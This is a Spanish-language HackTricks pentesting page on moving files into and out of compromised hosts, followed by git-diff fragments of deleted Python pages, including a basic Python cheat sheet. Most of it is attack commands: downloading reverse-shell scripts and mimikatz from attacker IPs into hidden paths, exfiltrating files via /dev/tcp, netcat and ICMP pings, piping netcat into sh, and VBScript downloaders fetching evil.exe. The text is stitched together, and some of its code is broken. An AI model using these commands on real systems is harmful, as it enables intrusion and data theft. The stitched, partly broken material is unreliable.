* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Copiar y pegar en Base64
**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP
**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Subir archivos
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer imprimiendo GET y POSTs (también cabeceras)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Servidor HTTPS**
---
#### **Description**
A HTTPS server is a server that uses the HTTPS protocol to encrypt the communication between the server and the client. This protocol is widely used to protect sensitive information such as passwords, credit card numbers, and other personal data.
#### **Exploitation**
If an attacker gains access to a HTTPS server, they can potentially exfiltrate sensitive information by intercepting the encrypted traffic. This can be done by using a man-in-the-middle attack or by compromising the server itself.
#### **Mitigation**
To prevent exfiltration through a HTTPS server, it is important to ensure that the server is properly secured. This includes using strong encryption algorithms, keeping software up-to-date, and implementing proper access controls. Additionally, monitoring network traffic for suspicious activity can help detect and prevent exfiltration attempts.
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###
### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###
### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP
### Servidor FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Servidor FTP (NodeJS)
#### Introducción
En este apartado se explicará cómo configurar un servidor FTP en NodeJS para exfiltrar datos.
#### Configuración
Para configurar el servidor FTP, se debe instalar el paquete `ftp-srv` de NodeJS:
```
npm install ftp-srv
```
Luego, se debe crear un archivo `server.js` con el siguiente contenido:
```javascript
const FtpSrv = require('ftp-srv');
const ftpServer = new FtpSrv({
url: 'ftp://0.0.0.0:21',
pasv_url: 'ftp://0.0.0.0:3000',
greeting: 'Welcome to my FTP server',
anonymous: true,
file_format: 'ls',
});
ftpServer.on('login', ({connection, username, password}, resolve, reject) => {
console.log(`User ${username} logged in`);
resolve({root: '/'});
});
ftpServer.listen()
.then(() => {
console.log('FTP server listening');
});
```
Este archivo crea un servidor FTP que escucha en el puerto 21 y utiliza el puerto 3000 para conexiones pasivas. Además, permite conexiones anónimas y muestra un mensaje de bienvenida personalizado.
#### Uso
Para utilizar el servidor FTP, se debe ejecutar el archivo `server.js` con NodeJS:
```
node server.js
```
Luego, se puede conectar al servidor FTP utilizando cualquier cliente FTP, como `ftp` en Linux o FileZilla en Windows. La dirección IP del servidor FTP es la dirección IP de la máquina en la que se está ejecutando el servidor.
Una vez conectado al servidor FTP, se pueden subir y descargar archivos como en cualquier otro servidor FTP.
#### Conclusión
El servidor FTP en NodeJS es una herramienta útil para exfiltrar datos de forma sencilla y rápida. Sin embargo, se debe tener en cuenta que el servidor FTP no es seguro y que los datos transferidos pueden ser interceptados por terceros. Por lo tanto, se recomienda utilizar esta herramienta solo en entornos controlados y seguros.
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Servidor FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### Cliente **Windows**
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
## SMB
Kali como servidor
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
O crear un recurso compartido smb **usando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltración de datos en Windows
## Introducción
La exfiltración de datos es el proceso de robo y transferencia de datos de un sistema comprometido a un sistema controlado por el atacante. En este documento se describen algunas técnicas comunes de exfiltración de datos en sistemas Windows.
## Técnicas de exfiltración de datos
### Correo electrónico
El correo electrónico es una forma común de exfiltración de datos. Los atacantes pueden enviar correos electrónicos con archivos adjuntos que contienen datos robados. También pueden utilizar servicios de correo electrónico en línea para enviar datos a través de la web.
### FTP
FTP es un protocolo de transferencia de archivos que se utiliza comúnmente para la exfiltración de datos. Los atacantes pueden utilizar clientes FTP para transferir datos a un servidor controlado por el atacante.
### HTTP/HTTPS
Los atacantes pueden utilizar el protocolo HTTP/HTTPS para exfiltrar datos. Pueden utilizar herramientas como cURL o Wget para enviar datos a un servidor controlado por el atacante.
### DNS
El protocolo DNS se utiliza comúnmente para resolver nombres de dominio en direcciones IP. Los atacantes pueden utilizar consultas DNS para exfiltrar datos. Pueden utilizar herramientas como DnsCat2 para enviar datos a través de consultas DNS.
### SMB
SMB es un protocolo utilizado para compartir archivos e impresoras en redes Windows. Los atacantes pueden utilizar SMB para exfiltrar datos. Pueden utilizar herramientas como Impacket para transferir archivos a través de SMB.
### Dispositivos USB
Los atacantes pueden utilizar dispositivos USB para exfiltrar datos. Pueden copiar datos en un dispositivo USB y luego llevarlo físicamente fuera del lugar.
## Conclusiones
La exfiltración de datos es una parte importante del proceso de ataque. Los atacantes utilizan una variedad de técnicas para exfiltrar datos de sistemas comprometidos. Es importante que los administradores de sistemas estén al tanto de estas técnicas y tomen medidas para prevenirlas.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP
El atacante debe tener SSHd en ejecución.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
NC (Netcat) es una herramienta de red que se utiliza para leer y escribir datos a través de conexiones de red utilizando TCP o UDP. Es una herramienta muy útil para la exfiltración de datos, ya que permite la transferencia de archivos y la ejecución de comandos en sistemas remotos.
### Ejemplo de uso
Para utilizar NC para la exfiltración de datos, primero debemos establecer una conexión entre el sistema de origen y el sistema de destino. En el sistema de origen, podemos utilizar el siguiente comando para enviar un archivo a través de NC:
```
nc <ip_destino> <puerto_destino> < archivo_a_enviar
```
En el sistema de destino, podemos utilizar el siguiente comando para recibir el archivo:
```
nc -l <puerto_destino> > archivo_recibido
```
También podemos utilizar NC para ejecutar comandos en sistemas remotos. En el sistema de origen, podemos utilizar el siguiente comando para ejecutar un comando en el sistema de destino:
```
echo "<comando_a_ejecutar>" | nc <ip_destino> <puerto_destino>
```
En el sistema de destino, podemos utilizar el siguiente comando para recibir el comando y ejecutarlo:
```
nc -l <puerto_destino> | sh
```
Es importante tener en cuenta que NC no proporciona cifrado de datos, por lo que cualquier información transferida a través de NC puede ser interceptada y leída por terceros. Por lo tanto, se recomienda utilizar NC en combinación con otras herramientas de cifrado, como SSH o SSL, para garantizar la seguridad de los datos transferidos.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Descargar archivo desde la víctima
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Subir archivo a la víctima
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
## **ICMP**
Gracias a **@BinaryShadow\_**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Por defecto en XP y 2003 (en otros sistemas operativos es necesario agregarlo explícitamente durante la instalación)
En Kali, **inicie el servidor TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Servidor TFTP en Python:**
```python
import socketserver
import struct
class TFTPServer(socketserver.UDPServer):
def __init__(self, server_address, RequestHandlerClass):
socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass)
class TFTPHandler(socketserver.BaseRequestHandler):
def handle(self):
data, socket = self.request
opcode = struct.unpack("!H", data[:2])[0]
if opcode == 1:
filename = data[2:data.index(b'\0', 2)].decode('ascii')
mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii')
print("File requested: %s" % filename)
print("Mode: %s" % mode)
with open(filename, "rb") as f:
file_data = f.read()
block_num = 1
while True:
block = file_data[(block_num-1)*512:block_num*512]
if not block:
break
packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block
socket.sendto(packet, self.client_address)
block_num += 1
else:
print("Unknown opcode: %d" % opcode)
if __name__ == "__main__":
server = TFTPServer(('0.0.0.0', 69), TFTPHandler)
server.serve_forever()
```
Este es un servidor TFTP escrito en Python. El servidor escucha en todas las interfaces en el puerto 69. Cuando recibe una solicitud de lectura de archivo (opcode 1), lee el archivo solicitado y lo envía al cliente en bloques de 512 bytes.
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
En **víctima**, conectarse al servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Descargar un archivo con una línea de código en PHP:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
VBScript es un lenguaje de scripting que se utiliza principalmente en sistemas operativos Windows. Es similar a JavaScript y se utiliza para automatizar tareas en el sistema operativo. VBScript se puede utilizar para exfiltrar datos de un sistema comprometido. Algunas técnicas comunes de exfiltración de datos con VBScript incluyen el uso de FTP, correo electrónico y HTTP. También se puede utilizar para crear backdoors y descargar malware en un sistema comprometido.
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Víctima**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Esta es una técnica loca que funciona en máquinas Windows de 32 bits. La idea es usar el programa `debug.exe`. Se utiliza para inspeccionar binarios, como un depurador. Pero también puede reconstruirlos a partir de hexadecimales. Entonces, la idea es que tomemos binarios, como `netcat`. Y luego lo desensamblamos en hexadecimales, lo pegamos en un archivo en la máquina comprometida y luego lo ensamblamos con `debug.exe`.
`Debug.exe` solo puede ensamblar 64 kb. Entonces necesitamos usar archivos más pequeños que eso. Podemos usar upx para comprimirlo aún más. Así que hagámoslo:
```
upx -9 nc.exe
```
Ahora solo pesa 29 kb. Perfecto. Ahora vamos a desensamblarlo:
```
wine exe2bat.exe nc.exe nc.txt
```
Ahora simplemente copiamos y pegamos el texto en nuestra shell de Windows. Y automáticamente creará un archivo llamado nc.exe
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **regístrese** en **Intigriti**, una plataforma premium de **recompensa por errores creada por hackers, para hackers**! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

37
generic-methodologies-and-resources/python/README.md
View File

@ -1,37 +0,0 @@
# Escape de Sandbox de Python y Pyscript
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Páginas interesantes para revisar:**
* [**Trucos de hacking de Pyscript**](pyscript.md)
* [**Deserializaciones de Python**](../../pentesting-web/deserialization/#python)
* [**Trucos para evadir las sandboxes de Python**](bypass-python-sandboxes/)
* [**Sintaxis básica de solicitudes web en Python**](web-requests.md)
* [**Sintaxis básica y bibliotecas de Python**](basic-python.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

327
generic-methodologies-and-resources/python/basic-python.md
View File

@ -1,327 +0,0 @@
# Python Básico
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Conceptos básicos de Python
### Información útil
list(xrange()) == range() --> En python3 range es el xrange de python2 (no es una lista sino un generador)\
La diferencia entre una tupla y una lista es que la posición de un valor en una tupla le da significado, mientras que las listas son solo valores ordenados. Las tuplas tienen estructuras pero las listas tienen un orden.
### Operaciones principales
Para elevar un número se utiliza: 3\*\*2 (no 3^2)\
Si haces 2/3 devuelve 1 porque estás dividiendo dos enteros (integers). Si quieres decimales debes dividir floats (2.0/3.0).\
i >= j\
i <= j\
i == j\
i != j\
a and b\
a or b\
not a\
float(a)\
int(a)\
str(d)\
ord("A") = 65\
chr(65) = 'A'\
hex(100) = '0x64'\
hex(100)\[2:] = '64'\
isinstance(1, int) = True\
"a b".split(" ") = \['a', 'b']\
" ".join(\['a', 'b']) = "a b"\
"abcdef".startswith("ab") = True\
"abcdef".contains("abc") = True\
"abc\n".strip() = "abc"\
"apbc".replace("p","") = "abc"\
dir(str) = Lista de todos los métodos disponibles\
help(str) = Definición de la clase str\
"a".upper() = "A"\
"A".lower() = "a"\
"abc".capitalize() = "Abc"\
sum(\[1,2,3]) = 6\
sorted(\[1,43,5,3,21,4])
**Unir caracteres**\
3 \* ’a’ = ‘aaa’\
‘a’ + ‘b’ = ‘ab’\
‘a’ + str(3) = ‘a3’\
\[1,2,3]+\[4,5]=\[1,2,3,4,5]
**Partes de una lista**\
‘abc’\[0] = ‘a’\
'abc’\[-1] = ‘c’\
'abc’\[1:3] = ‘bc’ desde \[1] hasta \[2]\
"qwertyuiop"\[:-1] = 'qwertyuio'
**Comentarios**\
\# Comentario de una línea\
"""\
Comentario de varias líneas\
Otro\
"""
**Bucles**
```
if a:
#somethig
elif b:
#something
else:
#something
while(a):
#comething
for i in range(0,100):
#something from 0 to 99
for letter in "hola":
#something with a letter in "hola"
```
### Tuplas
t1 = (1,'2,'tres')\
t2 = (5,6)\
t3 = t1 + t2 = (1, '2', 'tres', 5, 6)\
(4,) = Singelton\
d = () tupla vacía\
d += (4,) --> Añadir a una tupla\
NO SE PUEDE! --> t1\[1] == 'Nuevo valor'\
list(t2) = \[5,6] --> De tupla a lista
### Lista (array)
d = \[] vacía\
a = \[1,2,3]\
b = \[4,5]\
a + b = \[1,2,3,4,5]\
b.append(6) = \[4,5,6]\
tuple(a) = (1,2,3) --> De lista a tupla
### Diccionario
d = {} vacío\
monthNumbers={1:’Ene’, 2: ‘feb’,’feb’:2}—> monthNumbers ->{1:’Ene’, 2: ‘feb’,’feb’:2}\
monthNumbers\[1] = ‘Ene’\
monthNumbers\[‘feb’] = 2\
list(monthNumbers) = \[1,2,’feb’]\
monthNumbers.values() = \[‘Ene’,’feb’,2]\
keys = \[k for k in monthNumbers]\
a={'9':9}\
monthNumbers.update(a) = {'9':9, 1:’Ene’, 2: ‘feb’,’feb’:2}\
mN = monthNumbers.copy() #Copia independiente\
monthNumbers.get('key',0) #Comprueba si la clave existe, devuelve el valor de monthNumbers\["key"] o 0 si no existe
### Conjunto
En los conjuntos no hay repeticiones\
myset = set(\['a', 'b']) = {'a', 'b'}\
myset.add('c') = {'a', 'b', 'c'}\
myset.add('a') = {'a', 'b', 'c'} #No hay repeticiones\
myset.update(\[1,2,3]) = set(\['a', 1, 2, 'b', 'c', 3])\
myset.discard(10) #Si está presente, lo elimina, si no, no hace nada\
myset.remove(10) #Si está presente, lo elimina, si no, lanza una excepción\
myset2 = set(\[1, 2, 3, 4])\
myset.union(myset2) #Valores de myset O myset2\
myset.intersection(myset2) #Valores en myset Y myset2\
myset.difference(myset2) #Valores en myset pero no en myset2\
myset.symmetric\_difference(myset2) #Valores que no están en myset Y myset2 (no en ambos)\
myset.pop() #Obtiene el primer elemento del conjunto y lo elimina\
myset.intersection\_update(myset2) #myset = Elementos en ambos myset y myset2\
myset.difference\_update(myset2) #myset = Elementos en myset pero no en myset2\
myset.symmetric\_difference\_update(myset2) #myset = Elementos que no están en ambos
### Clases
El método en \_\_It\_\_ será el utilizado por sort para comparar si un objeto de esta clase es mayor que otro.
```python
class Person(name):
def __init__(self,name):
self.name= name
self.lastName = name.split(‘ ‘)[-1]
self.birthday = None
def __It__(self, other):
if self.lastName == other.lastName:
return self.name < other.name
return self.lastName < other.lastName #Return True if the lastname is smaller
def setBirthday(self, month, day. year):
self.birthday = date tame.date(year,month,day)
def getAge(self):
return (date time.date.today() - self.birthday).days
class MITPerson(Person):
nextIdNum = 0 # Attribute of the Class
def __init__(self, name):
Person.__init__(self,name)
self.idNum = MITPerson.nextIdNum —> Accedemos al atributo de la clase
MITPerson.nextIdNum += 1 #Attribute of the class +1
def __it__(self, other):
return self.idNum < other.idNum
```
### map, zip, filter, lambda, sorted y one-liners
**Map** es como: \[f(x) para x en iterable] --> map(tupla,\[a,b]) = \[(1,2,3),(4,5)]\
m = map(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) --> \[False, False, True, False, False, True, False, False, True]
**zip** se detiene cuando el más corto de foo o bar se detiene:
```
for f, b in zip(foo, bar):
print(f, b)
```
**Lambda** se utiliza para definir una función\
(lambda x,y: x+y)(5,3) = 8 --> Usa lambda como una **función** simple\
**sorted**(range(-5,6), key=lambda x: x\*\* 2) = \[0, -1, 1, -2, 2, -3, 3, -4, 4, -5, 5] --> Usa lambda para ordenar una lista\
m = **filter**(lambda x: x % 3 == 0, \[1, 2, 3, 4, 5, 6, 7, 8, 9]) = \[3, 6, 9] --> Usa lambda para filtrar\
**reduce** (lambda x,y: x\*y, \[1,2,3,4]) = 24
```
def make_adder(n):
return lambda x: x+n
plus3 = make_adder(3)
plus3(4) = 7 # 3 + 4 = 7
class Car:
crash = lambda self: print('Boom!')
my_car = Car(); my_car.crash() = 'Boom!'
```
